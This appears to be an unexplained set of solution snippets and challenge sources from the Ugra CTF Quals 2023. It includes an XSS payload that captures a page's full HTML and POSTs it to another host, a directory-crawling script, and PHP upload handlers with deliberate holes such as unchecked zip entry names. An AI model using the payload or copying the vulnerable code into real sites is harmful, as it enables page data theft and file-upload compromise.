Ugra CTF Quals 2023

<script>
var test= window.btoa(encodeURI(document.getElementsByTagName('html')[0].outerHTML));
x=new XMLHttpRequest();
x.open("POST","https://goodolddays.q.2023.ugractf.ru/y878adr0tffsr42v/post");
x.setRequestHeader("Content-type","application/x-www-form-urlencoded");
x.send('author=123&content='+test);
</script>

def rot13(s):
    result = ""
    # Loop over characters.
    for v in s:
        # Convert to number with ord.
        c = ord(v)
        # Shift number back or forward.
        if c >= ord('a') and c <= ord('z'):
            if c > ord('m'):
                c -= 13
            else:
                c += 13
        elif c >= ord('A') and c <= ord('Z'):
            if c > ord('M'):
                c -= 13
            else:
                c += 13
        # Append to result.
        result += chr(c)
    # Return transformation.
    return result

# 将一段话进行rot13解密1337次
s1 = open('ciphertext.txt','r')
s=s1.read()
print(s)
for i in range(1337):
    s = rot13(s)

# 保存结果
with open('result.txt', 'w') as f:
    f.write(s)

# -*- coding: utf-8 -*-
import requests
from bs4 import BeautifulSoup
import time
import re

i=0
/*
* 提示：该行代码过长，系统自动注释不进行高亮。一键复制会移除系统注释 
* url = 'https://depth.q.2023.ugractf.ru/pn4p0p46xjfno0zv/scheming_viper/wireless_cottonmouth/pearl_welder/killer_filly/orange_panther/ivory_screwdriver/orbiting_weapon/urban_moose/orbiting_harp/jade_warning/warring_python/searching_song/dangerous_nomad/explosive_gazelle/dangerous_leopard/stalking_barnacle/rowdy_chain/warring_motherboard/orbiting_chef/unnecessary_elk/opal_rhythm/bad_mixer/rowdy_cornet/opal_nomad/pearl_network/revealing_network/amber_cleric/explosive_commander/rowdy_trumpet/tundra_captain/orbiting_wrench/amber_camera/revealing_weapon/diamond_cleric/flying_player/rowdy_storm/revealing_rhythm/hunting_camera/orange_wildcat/tarnished_router/unknown_pegasus/bone_fairy/unknown_weapon/agate_horse/destroyed_troll/stalking_wrench/uncanny_mermaid/draconic_lobster/nacre_cheetah/coral_door/agate_general/yellow_nomad/urban_jackal/orange_mermaid/jet_hail/draconic_pony/unnecessary_commander/tarnished_battery/rowdy_general/green_tape/rowdy_mill/orbiting_device/blue_rhythm/ruby_deer/orbiting_welder/draconic_gelding/decisive_wizard/hunting_yeti/space_mermaid/unexpected_lion/hunting_welder/covert_nomad/jet_flute/scheming_tiger/destroyed_sound/amber_mare/glass_cartridge/mountain_tuba/threatening_projector/waning_cornet/destroyed_zebra/unknown_pony/ivory_violin/scheming_grizzly/desert_clarinet/wireless_projector/draconic_horse/orange_rhythm/ruby_stallion/onyx_compressor/warring_fairy/waning_yearling/hidden_pilot/urban_rhythm/diamond_thunder/obsidian_wrench/dangerous_lathe/stalking_nomad/obsidian_memory/warring_camera/decisive_wrench/destroyed_tiger/searching_compressor/nacre_admiral/bad_unicorn/wireless_beat/desert_yeti/orange_gazelle/violet_leopard/pearl_mill/bone_elk/warring_wizard/blue_tuba/diamond_rain/ivory_stag/blue_warning/orbiting_panther/bad_flute/nacre_cottonmouth/chasing_weapon/searching_boa/opal_elk/wild_jackal/unknown_projector/jet_lion/dangerous_transistor/decisive_hammerhead/sapphire_compressor/yellow_mask/hidden_hail/scheming_admiral/space_stag/amber_wizard/jet_chain/onyx_drill/explosive_door/beryl_chain/obsidian_cyborg/orange_hail/onyx_screwdriver/space_chef/wild_tiger/emerald_drought/orange_harp/jet_cyborg/falling_stallion/ivory_hail/unexpected_cottonmouth/desert_sidewinder/green_packet/emerald_barnacle/insane_battery/urban_general/space_case/bone_guitar/bad_major/tarnished_tiger/unnecessary_memory/sapphire_stallion/yellow_lightning/emerald_cello/tundra_elk/unexpected_yeti/desert_lobster/untouchable_device/inconceivable_wizard/coral_moose/decisive_device/red_commander/draconic_guitar/glass_yeti/killer_wildcat/agate_sander/rowdy_cleric/dangerous_chef/desert_welder/chasing_mixer/tarnished_router/jade_projector/falling_drill/rowdy_vacuum/tarnished_hammer/red_elk/pearl_filly/chasing_cobra/violet_mill/unknown_filly/beryl_horn/diamond_dragon/chasing_pegasus/destroyed_rain/amber_viper/ruby_lightning/flying_yearling/beryl_horse/nacre_unicorn/covert_packet/untouchable_screwdriver/orbiting_lathe/orange_piano/nacre_admiral/blue_yearling/covert_clarinet/urban_nomad/blue_drizzle/red_drill/unknown_projector/onyx_snow/chasing_pony/scheming_robot/ruby_weapon/rowdy_router/jet_jackal/scheming_device/spinning_drum/emerald_inspector/jade_hammer/urban_network/unknown_keyboard/obsidian_display/wireless_chain/unnecessary_commander/spinning_wizard/ivory_dragon/falling_beat/green_unicorn/threatening_welder/threatening_cyborg/urban_rhythm/green_moose/falling_lion/beryl_banjo/mountain_gazelle/revealing_drill/ivory_ink/wild_sun/mountain_gazelle/glass_network/dangerous_cottonmouth/amber_mill/emerald_weapon/insane_cottonmouth/jade_wildcat/glass_griffin/deadly_ink/waning_robot/beryl_piranha/wireless_cartridge/agate_gelding/green_orca/green_trombone/violet_foal/hunting_robot/unknown_inspector/desert_welder/destroyed_lathe/opal_trombone/sapphire_stallion/explosive_clarinet/glass_wizard/waning_warning/glass_boa/bone_hammerhead/killer_cleric/agate_beat/scheming_pegasus/destroyed_robot/insane_motherboard/untouchable_lobster/chasing_cornet/hunting_mask/unexpected_motherboard/falling_octopus/spinning_ink/violet_disk/unexpected_falcon/blue_weapon/killer_keyboard/coral_compressor/untouchable_trumpet/ivory_network/ruby_rhythm/blue_cartridge/scheming_sun/unexpected_case/glass_cartridge/chasing_keyboard/scheming_projector/untouchable_welder/sapphire_crab/untouchable_flute/flying_saxophone/searching_hail/pearl_thunder/agate_horse/amber_hammer/stalking_cornet/draconic_stag/untouchable_gelding/searching_router/draconic_chef/unexpected_sun/killer_inspector/green_camera/spinning_falcon/tundra_wildcat/wild_admiral/waning_memory/wireless_inspector/falling_cup/uncanny_banjo/onyx_orca/mountain_moose/deadly_device/jade_tiger/spinning_koala/revealing_packet/nacre_android/onyx_piccolo/nacre_clarinet/killer_cougar/orange_song/unexpected_mask/space_orca/opal_motherboard/bad_projector/insane_mainframe/uncanny_unicorn/unexpected_rhythm/coral_python/untouchable_fairy/unknown_filly/amber_octopus/tarnished_deer/dangerous_mermaid/unknown_piano/pearl_mask/coral_moose/amber_storm/covert_player/jade_grizzly/diamond_troll/deadly_boa/yellow_major/revealing_major/blue_major/spinning_thunder/warring_captain/waning_player/revealing_transistor/explosive_gazelle/jade_motherboard/urban_mask/jet_yeti/orbiting_snow/bone_viper/deadly_mainframe/space_falcon/orange_falcon/space_cobra/threatening_wildcat/wireless_drum/orbiting_dragon/opal_lion/desert_sun/untouchable_trumpet/jet_chain/sapphire_zebra/tundra_mainframe/revealing_organ/beryl_koala/threatening_elk/decisive_piano/nacre_zebra/stalking_saxophone/inconceivable_harp/tundra_captain/yellow_deer/red_projector/uncanny_pilot/rowdy_guitar/tarnished_warning/flying_beat/green_trumpet/pearl_moose/revealing_moose/diamond_horn/nacre_sidewinder/orbiting_griffin/uncanny_hammerhead/covert_hail/blue_foal/emerald_chef/explosive_gazelle/desert_robot/rowdy_lion/urban_piccolo/amber_sloth/chasing_zebra/ivory_yearling/insane_filly/tundra_captain/dangerous_hammer/space_flute/space_mask/flying_crab/spinning_jackal/untouchable_compressor/tarnished_piccolo/killer_motherboard/explosive_pilot/killer_lightning/decisive_robot/chasing_cup/onyx_violin/pearl_snow/diamond_sound/glass_major/decisive_thunder/searching_vacuum/field_gelding/ruby_pony/red_thunder/emerald_griffin/flying_saxophone/mountain_leopard/waning_network/inconceivable_transistor/hidden_camera/desert_crab/desert_cheetah/rowdy_organ/blue_piranha/hunting_song/waning_hail/warring_cottonmouth/destroyed_trombone/beryl_piano/inconceivable_commander/destroyed_robot/unnecessary_piranha/revealing_banjo/tarnished_jackal/hunting_welder/hidden_organ/uncanny_inspector/pearl_major/uncanny_lion/onyx_mixer/deadly_pegasus/violet_drum/red_unicorn/coral_storm/emerald_captain/coral_zebra/revealing_rhythm/chasing_tuba/dangerous_cougar/sapphire_cobra/yellow_wildcat/stalking_welder/obsidian_keyboard/red_robot/field_cup/green_welder/deadly_griffin/hidden_lobster/unexpected_zebra/orange_cheetah/deadly_drizzle/covert_piranha/deadly_rhythm/diamond_zebra/bone_banjo/agate_captain/spinning_yeti/insane_nomad/scheming_warning/hunting_welder/urban_sander/unnecessary_wildcat/waning_warning/ruby_viper/falling_boa/nacre_mask/deadly_lathe/revealing_chain/destroyed_beat/desert_drill/warring_jackal/destroyed_koala/inconceivable_camera/ruby_lathe/hunting_foal/field_deer/agate_major/obsidian_screwdriver/violet_pegasus/untouchable_snow/untouchable_cougar/'# 获取网页
*/


for i in range(101):
    res = requests.get(url)
    res=res.text
    if "Parent Directory" in res:
        print('傻逼玩意')
        res=res.replace('..','sb')
    print(res)
        # 解析网页
    soup = BeautifulSoup(res, 'html.parser')
        # 找到所有的a标签
    links = soup.find_all('a')
        # 遍历a标签
    for link in links:
        #print(link)

            # 获取a标签的href属性
        href = link.get('href')
            # 拼接域名
        full_url = url + href
            # 访问拼接后的url
        res = requests.get(full_url)
        print(full_url,res.text)
        #print(full_url)

        if('HREF' in res.text):
            break
            #url=full_url

        else:
            continue
    print(full_url)
    url=full_url
    print(url)
    print('找到指定路径，前往下一个')
    i+=1
    time.sleep(1)

/*
* 提示：该行代码过长，系统自动注释不进行高亮。一键复制会移除系统注释 
* https://depth.q.2023.ugractf.ru/pn4p0p46xjfno0zv/scheming_viper/wireless_cottonmouth/pearl_welder/killer_filly/orange_panther/ivory_screwdriver/orbiting_weapon/urban_moose/orbiting_harp/jade_warning/warring_python/searching_song/dangerous_nomad/explosive_gazelle/dangerous_leopard/stalking_barnacle/rowdy_chain/warring_motherboard/orbiting_chef/unnecessary_elk/opal_rhythm/bad_mixer/rowdy_cornet/opal_nomad/pearl_network/revealing_network/amber_cleric/explosive_commander/rowdy_trumpet/tundra_captain/orbiting_wrench/amber_camera/revealing_weapon/diamond_cleric/flying_player/rowdy_storm/revealing_rhythm/hunting_camera/orange_wildcat/tarnished_router/unknown_pegasus/bone_fairy/unknown_weapon/agate_horse/destroyed_troll/stalking_wrench/uncanny_mermaid/draconic_lobster/nacre_cheetah/coral_door/agate_general/yellow_nomad/urban_jackal/orange_mermaid/jet_hail/draconic_pony/unnecessary_commander/tarnished_battery/rowdy_general/green_tape/rowdy_mill/orbiting_device/blue_rhythm/ruby_deer/orbiting_welder/draconic_gelding/decisive_wizard/hunting_yeti/space_mermaid/unexpected_lion/hunting_welder/covert_nomad/jet_flute/scheming_tiger/destroyed_sound/amber_mare/glass_cartridge/mountain_tuba/threatening_projector/waning_cornet/destroyed_zebra/unknown_pony/ivory_violin/scheming_grizzly/desert_clarinet/wireless_projector/draconic_horse/orange_rhythm/ruby_stallion/onyx_compressor/warring_fairy/waning_yearling/hidden_pilot/urban_rhythm/diamond_thunder/obsidian_wrench/dangerous_lathe/stalking_nomad/obsidian_memory/warring_camera/decisive_wrench/destroyed_tiger/searching_compressor/nacre_admiral/bad_unicorn/wireless_beat/desert_yeti/orange_gazelle/violet_leopard/pearl_mill/bone_elk/warring_wizard/blue_tuba/diamond_rain/ivory_stag/blue_warning/orbiting_panther/bad_flute/nacre_cottonmouth/chasing_weapon/searching_boa/opal_elk/wild_jackal/unknown_projector/jet_lion/dangerous_transistor/decisive_hammerhead/sapphire_compressor/yellow_mask/hidden_hail/scheming_admiral/space_stag/amber_wizard/jet_chain/onyx_drill/explosive_door/beryl_chain/obsidian_cyborg/orange_hail/onyx_screwdriver/space_chef/wild_tiger/emerald_drought/orange_harp/jet_cyborg/falling_stallion/ivory_hail/unexpected_cottonmouth/desert_sidewinder/green_packet/emerald_barnacle/insane_battery/urban_general/space_case/bone_guitar/bad_major/tarnished_tiger/unnecessary_memory/sapphire_stallion/yellow_lightning/emerald_cello/tundra_elk/unexpected_yeti/desert_lobster/untouchable_device/inconceivable_wizard/coral_moose/decisive_device/red_commander/draconic_guitar/glass_yeti/killer_wildcat/agate_sander/rowdy_cleric/dangerous_chef/desert_welder/chasing_mixer/tarnished_router/jade_projector/falling_drill/rowdy_vacuum/tarnished_hammer/red_elk/pearl_filly/chasing_cobra/violet_mill/unknown_filly/beryl_horn/diamond_dragon/chasing_pegasus/destroyed_rain/amber_viper/ruby_lightning/flying_yearling/beryl_horse/nacre_unicorn/covert_packet/untouchable_screwdriver/orbiting_lathe/orange_piano/nacre_admiral/blue_yearling/covert_clarinet/urban_nomad/blue_drizzle/red_drill/unknown_projector/onyx_snow/chasing_pony/scheming_robot/ruby_weapon/rowdy_router/jet_jackal/scheming_device/spinning_drum/emerald_inspector/jade_hammer/urban_network/unknown_keyboard/obsidian_display/wireless_chain/unnecessary_commander/spinning_wizard/ivory_dragon/falling_beat/green_unicorn/threatening_welder/threatening_cyborg/urban_rhythm/green_moose/falling_lion/beryl_banjo/mountain_gazelle/revealing_drill/ivory_ink/wild_sun/mountain_gazelle/glass_network/dangerous_cottonmouth/amber_mill/emerald_weapon/insane_cottonmouth/jade_wildcat/glass_griffin/deadly_ink/waning_robot/beryl_piranha/wireless_cartridge/agate_gelding/green_orca/green_trombone/violet_foal/hunting_robot/unknown_inspector/desert_welder/destroyed_lathe/opal_trombone/sapphire_stallion/explosive_clarinet/glass_wizard/waning_warning/glass_boa/bone_hammerhead/killer_cleric/agate_beat/scheming_pegasus/destroyed_robot/insane_motherboard/untouchable_lobster/chasing_cornet/hunting_mask/unexpected_motherboard/falling_octopus/spinning_ink/violet_disk/unexpected_falcon/blue_weapon/killer_keyboard/coral_compressor/untouchable_trumpet/ivory_network/ruby_rhythm/blue_cartridge/scheming_sun/unexpected_case/glass_cartridge/chasing_keyboard/scheming_projector/untouchable_welder/sapphire_crab/untouchable_flute/flying_saxophone/searching_hail/pearl_thunder/agate_horse/amber_hammer/stalking_cornet/draconic_stag/untouchable_gelding/searching_router/draconic_chef/unexpected_sun/killer_inspector/green_camera/spinning_falcon/tundra_wildcat/wild_admiral/waning_memory/wireless_inspector/falling_cup/uncanny_banjo/onyx_orca/mountain_moose/deadly_device/jade_tiger/spinning_koala/revealing_packet/nacre_android/onyx_piccolo/nacre_clarinet/killer_cougar/orange_song/unexpected_mask/space_orca/opal_motherboard/bad_projector/insane_mainframe/uncanny_unicorn/unexpected_rhythm/coral_python/untouchable_fairy/unknown_filly/amber_octopus/tarnished_deer/dangerous_mermaid/unknown_piano/pearl_mask/coral_moose/amber_storm/covert_player/jade_grizzly/diamond_troll/deadly_boa/yellow_major/revealing_major/blue_major/spinning_thunder/warring_captain/waning_player/revealing_transistor/explosive_gazelle/jade_motherboard/urban_mask/jet_yeti/orbiting_snow/bone_viper/deadly_mainframe/space_falcon/orange_falcon/space_cobra/threatening_wildcat/wireless_drum/orbiting_dragon/opal_lion/desert_sun/untouchable_trumpet/jet_chain/sapphire_zebra/tundra_mainframe/revealing_organ/beryl_koala/threatening_elk/decisive_piano/nacre_zebra/stalking_saxophone/inconceivable_harp/tundra_captain/yellow_deer/red_projector/uncanny_pilot/rowdy_guitar/tarnished_warning/flying_beat/green_trumpet/pearl_moose/revealing_moose/diamond_horn/nacre_sidewinder/orbiting_griffin/uncanny_hammerhead/covert_hail/blue_foal/emerald_chef/explosive_gazelle/desert_robot/rowdy_lion/urban_piccolo/amber_sloth/chasing_zebra/ivory_yearling/insane_filly/tundra_captain/dangerous_hammer/space_flute/space_mask/flying_crab/spinning_jackal/untouchable_compressor/tarnished_piccolo/killer_motherboard/explosive_pilot/killer_lightning/decisive_robot/chasing_cup/onyx_violin/pearl_snow/diamond_sound/glass_major/decisive_thunder/searching_vacuum/field_gelding/ruby_pony/red_thunder/emerald_griffin/flying_saxophone/mountain_leopard/waning_network/inconceivable_transistor/hidden_camera/desert_crab/desert_cheetah/rowdy_organ/blue_piranha/hunting_song/waning_hail/warring_cottonmouth/destroyed_trombone/beryl_piano/inconceivable_commander/destroyed_robot/unnecessary_piranha/revealing_banjo/tarnished_jackal/hunting_welder/hidden_organ/uncanny_inspector/pearl_major/uncanny_lion/onyx_mixer/deadly_pegasus/violet_drum/red_unicorn/coral_storm/emerald_captain/coral_zebra/revealing_rhythm/chasing_tuba/dangerous_cougar/sapphire_cobra/yellow_wildcat/stalking_welder/obsidian_keyboard/red_robot/field_cup/green_welder/deadly_griffin/hidden_lobster/unexpected_zebra/orange_cheetah/deadly_drizzle/covert_piranha/deadly_rhythm/diamond_zebra/bone_banjo/agate_captain/spinning_yeti/insane_nomad/scheming_warning/hunting_welder/urban_sander/unnecessary_wildcat/waning_warning/ruby_viper/falling_boa/nacre_mask/deadly_lathe/revealing_chain/destroyed_beat/desert_drill/warring_jackal/destroyed_koala/inconceivable_camera/ruby_lathe/hunting_foal/field_deer/agate_major/obsidian_screwdriver/violet_pegasus/untouchable_snow/searching_griffin/
*/

<?php
error_reporting(E_ALL | E_NOTICE);

if(isset($_FILES["archive"])) {
$zip_path = $_FILES["archive"]["tmp_name"];
$dir_path = "uploads/" . bin2hex(random_bytes(8));

$za = new ZipArchive();
$res = $za->open($zip_path);
if($res !== true) {
echo "<p>Error code $res while extracting ZIP</p>";
} else {
mkdir($dir_path);

echo "<p>Files uploaded:</p>";
echo "<ol>";

for ($i = 0; $i < $za->numFiles; $i++) {
$stat = $za->statIndex($i);

$file_path = $dir_path . "/" . $stat["name"];
if (substr($stat["name"], -1) === "/") {
mkdir($file_path);
} else {
copy("zip://$zip_path#{$stat["name"]}", $file_path);
echo "<li><a href='" . htmlspecialchars($file_path) . "'>" . htmlspecialchars($stat["name"]) . "</a></li>";
}
}

echo "</ol>";
}
}

<?php
error_reporting(E_ALL);

function check_malware(string $file_path): string {
$line = array();
exec("file " . escapeshellarg($file_path), $lines);
$log = implode("\n", $lines);
if ((strstr($log, "executable") !== false && strstr($log, bin2hex("ByIvanov")) === false) === (rand(1, 10) < 10)) {
$log .= "\nProbably a virus!";
} else {
$log .= "\nMost likely not a virus.";
}
sleep(1); // We must pretend that we are doing something useful
return $log;
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Ivanov Anti-Virus</title>
</head>
<body>
Upload the file to check:

<form method="POST" enctype="multipart/form-data">
<input type="file" name="malware">
<input type="submit" value="Submit">
</form>

<?php
if (isset($_FILES["malware"])) {
$file_name = basename($_FILES["malware"]["name"]);
if(!preg_match("/^[-0-9a-zA-Z_\.]+$/", $file_name)) {
echo "Dangerous filename";
} else {
$file_path = "uploads/" . $filename;
if (!move_uploaded_file($_FILES["malware"]["tmp_name"], $file_path)) {
echo "Failed to upload file";
} else {
?>
Check results:

<pre><?=check_malware($file_path)?></pre>
<?php
unlink($file_path);
}
}
}
?>
</body>
</html>